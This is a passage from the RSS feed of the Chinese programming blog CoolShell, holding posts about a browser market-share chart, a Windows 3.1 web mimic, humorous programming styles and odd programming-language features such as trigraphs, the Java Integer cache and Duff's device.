alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2078.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>95</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个浏览器市场占有量的图</title>\n\t\t<link>https://coolshell.cn/articles/2069.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2069.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Jan 2010 06:24:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Firefox]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2069</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站是一个关于Web浏览器的市场占有量的图： http://www.michaelvandaniker.com/labs/browserVisualiz...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2069.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网站是一个关于Web浏览器的市场占有量的图：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.michaelvandaniker.com/labs/browserVisualization/\" target=\"_blank\">http://www.michaelvandaniker.com/labs/browserVisualization/</a></p>\n<p style=\"text-align: left;\">这个图是从2002年到2009年，也许未来还会更新，把鼠标移到每个弧上你可以看到那个浏览器的的占有量的百分比。如下图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"浏览器市场占有量图\" src=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history.jpg\" alt=\"\" width=\"500\" height=\"396\" /></a> </p>\n<p>这个图本来没有什么，但制作者把其做成了一个圆弧形，这样，看下来就有些不一样了。你还没有看出来？让我们来对比一下这个图和FireFox的logo吧。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/firefoxlogo.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"firefox的logo比较\" src=\"https://coolshell.cn/wp-content/uploads/2010/01/firefoxlogo.jpg\" alt=\"\" width=\"400\" height=\"210\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-150x150.jpg\" alt=\"Mozilla的一个BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_title\">Mozilla的一个BUG</a></li><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"Firefox插件WebMail Notifier\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_title\">Firefox插件WebMail Notifier</a></li><li ><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" alt=\"TCP 的那些事儿（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_title\">TCP 的那些事儿（下）</a></li><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li><li ><a href=\"https://coolshell.cn/articles/799.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"电子书：编译器设计基础\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/799.html\" class=\"wp_rp_title\">电子书：编译器设计基础</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2069.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个Windows 3.1的Web网站</title>\n\t\t<link>https://coolshell.cn/articles/2065.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2065.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Jan 2010 05:50:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2065</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>啥也不说了，请大家围观下面这个网站吧。 http://www.michaelv.org/ 打开这个网站，你会看到N年前DOS时代的Windows 3.1的界面，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2065.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2065.html\">一个Windows 3.1的Web网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>啥也不说了，请大家围观下面这个网站吧。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.michaelv.org/\" target=\"_blank\"><strong>http://www.michaelv.org/</strong></a></p>\n<p style=\"text-align: left;\">打开这个网站，你会看到N年前DOS时代的Windows 3.1的界面，居然还可以扫雷，呵呵。真应了那句话——“只要是可以被Javascript实现的应用或程序，最终都会被Javascript所实现”。另，关于其它Web上更为疯狂的程序，可以查看本站的<a href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">这篇文章</a>。还有这个<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>。下面是win3.1的截图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/Win32web.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2066\" title=\"一个Windows3.1的web网站\" src=\"https://coolshell.cn/wp-content/uploads/2010/01/Win32web.jpg\" alt=\"\" width=\"640\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/01/Win32web.jpg 640w, https://coolshell.cn/wp-content/uploads/2010/01/Win32web-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/01/Win32web-360x270.jpg 360w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></a> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2065.html\">一个Windows 3.1的Web网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2065.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>各种流行的编程风格</title>\n\t\t<link>https://coolshell.cn/articles/2058.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2058.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 22 Jan 2010 00:39:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[program]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2058</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在过去的N年中，我遇到了很多使用囧然不同风格的开发者，下面是我所知道的一些，你还知道其它的吗？ 散弹枪编程 这种编程风格是一种开发者使用非常随意的方式对待代码。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2058.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2058.html\">各种流行的编程风格</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在过去的N年中，我遇到了很多使用囧然不同风格的开发者，下面是我所知道的一些，你还知道其它的吗？</p>\n<h4>散弹枪编程</h4>\n<p>这种编程风格是一种开发者使用非常随意的方式对待代码。“嗯，这个方法调用出错了……那么我会试着把传出的参数从 <strong>false</strong> 变成 <strong>true</strong>!”，当然依然出错，于是我们的程序员会这样：“好吧，那我就注释掉整个方法吧”，或是其它更为随意的处理方式，直到最后让这个调用成功。或是被旁边的某个程序员指出一个正确的方法。</p>\n<p>如果我们把一个正规的程序员和一个撞大运的程序员放在一起做结地，那么，那个正规的程序可以马上变得发疯起来，并且，可以把正规的程序员的智商降到最低。两个撞大运的程序员不应该在一起做结对编程，这是因为他们破坏性的才能会造成的伤害会比只有一个还差。</p>\n<h4>撞大运编程</h4>\n<p>这是一种比散弹枪编程要温和一些的编程方式，我相信这种方式可能会是大多数程序员都会使用的方式。这种编程方式经常出现于程序员并不确切知道他们在干什么，也不知道所写的程序的本质和实际，但是可以让程序工作起来。他们以一种撞大运的方式在写程序，某些时候，他们根本就不知道某个错误的原因，就开始稀里糊涂地修改代码。一旦出现问题，他们会用两条路：1）停下来，理解一下程序，找到出错的原因。2）使用散弹枪编程方式开始解决问题。</p>\n<p>测试驱动开发（Test Driven Development）是一种可以用来拯救上百万的撞大运编程的程序员。于是，他们有了一个更为NB的借口：只要我的程序通过测试了，你还有什么话好说？别骂我，测试驱动开发是一个不错的事物，其主要是用来控制撞大运开发所带来的问题。</p>\n<h4><span id=\"more-2058\"></span><br />\nCargo-Cult 编程</h4>\n<p>关于Cargo Cults 这个词儿来自二战期间的某些太平洋上小岛里的土著人。在战争期间，美国利用这些小岛作为太平洋战场上的补给站。他们在这些小岛上修建自己的飞机跑道以用来运输战争物资。而那些小岛上的土著人从来没有见过飞机，当他们看到飞机的时候，觉得相当的牛，可以为那些白人带来各种各样的物品和食物。当二战结束后，那些土著人仿照着修建了飞机跑道，并用竹子修建了塔台。然后就在那期望着有飞机为他们送来物品和食物。</p>\n<p>Cargo Cult 编程是一种非常流行的编程方法，使用这种方法的程序员会学习其它编程高手的编程方法，虽然他们并不知道为什么高手们要那样做，但是他们觉得那样做可以让程序工作起来。举个例子，当时有大量的程序员在J2EE出现的第一年中过度地使用了EJBs和Entity Beans。</p>\n<h4>刻舟求剑编程</h4>\n<p>刻舟求剑是一个很流行的寓言了。这种风格的编程在程序员的圈子里是非常常见的。比如，有一天，你发现了一个空指会的异常，于是你到了产生空指针异常的地方，简单地放上一个判断： <code>if (p != NULL)。</code></p>\n<p>是的，这样的fix可以让你的程序工作起来，但你并没有真正地解决问题。你只不过是在你的船边记下了剑掉下去的位置，这样做只不过把问题隐藏起来，最终只会让你的程序的行为变得神出鬼没。你应该找到为什么指针会为空的原因，然后再解决这个问题。</p>\n<h4>设计模式驱动型编程</h4>\n<p>正如这种编程的名字所说的，这种编程风格使用大量的设计模式，在你的程序中，四处都是设计模式，你的代码到处都是Facade，Observer ，Strategy，Adapter，等等等等。于是，你的程序要处理的业务逻辑被这些设计模式打乱得无法阅读，最后，也不知道是业务需求重来，还是设计模式重要，总之，实际业务需求的程序逻辑被各种设计模式混乱得不堪入目。</p>\n<h4>侦探型编程</h4>\n<p>在解决一个Bug的时候，侦探型程序员会调查这个Bug的原因。然后，则调查引发这个BUG的原因的原因。再然后，其会分析修正代码后是否会导致其它代码失败的因果关系。再然后然后，他会使用文本搜索查找所有使用这个改动的代码，并继续查找更上一级的调用代码。最后，这个程序员会写下30个不同的情形的测试案例，就算这些测试案例和那个Bug没有什么关系，最最后，这个程序员有了足够多的信心，并且精确地修正了一个拼写错误。</p>\n<p>与此同时，其它一个正常的程序修正了其它5个Bug。</p>\n<h4>屠宰式编程</h4>\n<p>使用这种风格的程序员，对重构代码有着一种难以控制的极端冲动。他们几乎会重构所有经手的代码。就算是在产品在Release的前夜，当他在修正几个拼写错误的bug同时，其会修改10个类，以及重构与这10个类有联系的另20个类，并且修改了代码的build脚本，以及5个部署描述符。</p>\n<p>文章：<a href=\"http://www.codeinstructions.com/2008/10/styles-of-programming.html\" target=\"_blank\">来源</a><br />\n（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"弱爆程序员的特征值\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_title\">弱爆程序员的特征值</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2058.html\">各种流行的编程风格</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2058.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>172</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>最为奇怪的程序语言的特性</title>\n\t\t<link>https://coolshell.cn/articles/2053.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2053.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 21 Jan 2010 00:16:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2053</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这些最为奇怪的程序语言的特性，来自stackoverflow.com，原贴在这里。我摘选了一些例子，的确是比较怪异，让我们一个一个来看看。  1、C语言中的数组...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2053.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这些最为奇怪的程序语言的特性，来自stackoverflow.com，原贴在<a href=\"http://stackoverflow.com/questions/1995113?sort=votes&amp;page=1\" target=\"_blank\">这里</a>。我摘选了一些例子，的确是比较怪异，让我们一个一个来看看。 </p>\n<p><strong>1、C语言中的数组</strong> </p>\n<p style=\"padding-left: 30px;\">在C/C++中，a[10] 可以写成 10[a] </p>\n<p style=\"padding-left: 30px;\">&#8220;Hello World&#8221;[i] 也可以写成 i[&#8220;Hello World&#8221;] </p>\n<p>这样的特性是不是很怪异？如果你想知道为什么的话，你可以看看本站的这篇文章——《<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的谜题</a>》中的第12题。 </p>\n<p><strong>2、在Javascript中</strong> </p>\n<p> &#8216;5&#8217; + 3 的结果是：&#8217;53&#8217;<br />\n &#8216;5&#8217; &#8211; 3 的结果是：2 </p>\n<p><strong>3、C/C++中的Trigraphs</strong> </p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int main() {\n   cout &lt;&lt; &quot;LOL??!&quot;;\n}</pre>\n<p>上面的这段程序会输出： “LOL|”，这是因为 ??! 被转成了 | ，关于Trigraphs，下面有个表格： </p>\n<p><span id=\"more-2053\"></span></p>\n<table style=\"width: 237px; height: 184px;\">\n<tbody>\n<tr valign=\"top\">\n<td>??=</td>\n<td>#</td>\n</tr>\n<tr valign=\"top\">\n<td>??(</td>\n<td>[</td>\n</tr>\n<tr valign=\"top\">\n<td>??/</td>\n<td>\\</td>\n</tr>\n<tr valign=\"top\">\n<td>??)</td>\n<td>]</td>\n</tr>\n<tr valign=\"top\">\n<td>??’</td>\n<td>^</td>\n</tr>\n<tr valign=\"top\">\n<td>??&lt;</td>\n<td>{</td>\n</tr>\n<tr valign=\"top\">\n<td>??!</td>\n<td>|</td>\n</tr>\n<tr valign=\"top\">\n<td>??&gt;</td>\n<td>}</td>\n</tr>\n<tr valign=\"top\">\n<td>??-</td>\n<td>~</td>\n</tr>\n</tbody>\n</table>\n<p>  </p>\n<p><strong>4、JavaScript 的条件表</strong> </p>\n<p>看到下面这个表，不难理解为什么Javascript程序员为什么痛苦了——《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a>》 </p>\n<p>[javascript]&#8221;        ==   &#8216;0&#8217;           //false<br />\n0         ==   &#8221;            //true<br />\n0         ==   &#8216;0&#8217;           //true<br />\nfalse     ==   &#8216;false&#8217;       //false<br />\nfalse     ==   &#8216;0&#8217;           //true<br />\nfalse     ==   undefined     //false<br />\nfalse     ==   null          //false<br />\nnull      ==   undefined     //true<br />\n&quot; \\t\\r\\n&quot; ==   0             //true[/javascript] </p>\n<p><strong>5、Java的Integer cache</strong> </p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Integer foo = 1000;\nInteger bar = 1000;\n \nfoo &lt;= bar; // true\nfoo &gt;= bar; // true\nfoo == bar; // false\n \n//然后，如果你的 foo 和 bar 的值在 127 和 -128 之间（包括）\n//那么，其行为则改变了：\n \nInteger foo = 42;\nInteger bar = 42;\n \nfoo &lt;= bar; // true\nfoo &gt;= bar; // true\nfoo == bar; // true</pre>\n<p>为什么会这样呢？你需要了解一下Java Interger Cache，下面是相关的程序，注意其中的注释</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">/**\n     * Returns a &lt;tt&gt;Integer&lt;/tt&gt; instance representing the specified\n     * &lt;tt&gt;int&lt;/tt&gt; value.\n     * If a new &lt;tt&gt;Integer&lt;/tt&gt; instance is not required, this method\n     * should generally be used in preference to the constructor\n     * &lt;a href=&quot;mailto:{@link&quot;&gt;{@link&lt;/a&gt; #Integer(int)}, as this method is likely to yield\n     * significantly better space and time performance by caching\n     * frequently requested values.\n     *\n     * @param  i an &lt;code&gt;int&lt;/code&gt; value.\n     * @return a &lt;tt&gt;Integer&lt;/tt&gt; instance representing &lt;tt&gt;i&lt;/tt&gt;.\n     * @since  1.5\n     */\n    public static Integer valueOf(int i) {\n        if(i &gt;= -128 &amp;&amp; i &lt;= IntegerCache.high)\n            return IntegerCache.cache[i + 128];\n        else\n            return new Integer(i);\n    }\n</pre>\n<p><strong>5、Perl的那些奇怪的变量</strong></p>\n<p>[perl]$.<br />\n$_<br />\n$_#<br />\n$$<br />\n$[<br />\n@_[/perl]</p>\n<p>其所有的这些怪异的变量请参看：<a href=\"http://www.kichwa.com/quik_ref/spec_variables.html\">http://www.kichwa.com/quik_ref/spec_variables.html</a> </p>\n<p><strong>6、Java的异常返回</strong></p>\n<p>请看下面这段程序，你觉得其返回true还是false？</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">try {\n    return true;\n} finally {\n    return false;\n}</pre>\n<p>在 javascript 和python下，其行为和Java的是一样的。 </p>\n<p><strong>7、C语言中的Duff device</strong></p>\n<p>下面的这段程序你能看得懂吗？这就是所谓的Duff Device，相当的怪异。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void duff_memcpy( char* to, char* from, size_t count ) {\n    size_t n = (count+7)/8;\n    switch( count%8 ) {\n    case 0: do{ *to++ = *from++;\n    case 7:     *to++ = 